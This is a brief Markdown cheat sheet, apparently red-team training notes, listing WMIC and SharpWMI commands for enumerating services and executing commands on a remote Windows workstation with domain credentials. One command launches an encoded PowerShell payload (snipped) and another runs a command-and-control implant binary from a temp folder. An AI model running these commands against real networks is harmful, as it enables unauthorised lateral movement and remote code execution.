7 lines
357 B
Markdown
7 lines
357 B
Markdown
- Get all service paths
|
|
- `wmic service get name, pathname`
|
|
- Execute command on local or remote host
|
|
- `wmic /node:"wkstn-4945" /user:"cyberbotic.io\\n.lamb" /password:"REDACTED" process call create "powershell -enc \[...snip...\]"`
|
|
- SharpWMI
|
|
- `SharpWMI /command:"action=exec computername=wkstn-4945 command=\\"C:\\Windows\\Temp\\GruntHTTP.exe\\""`
|
|
- |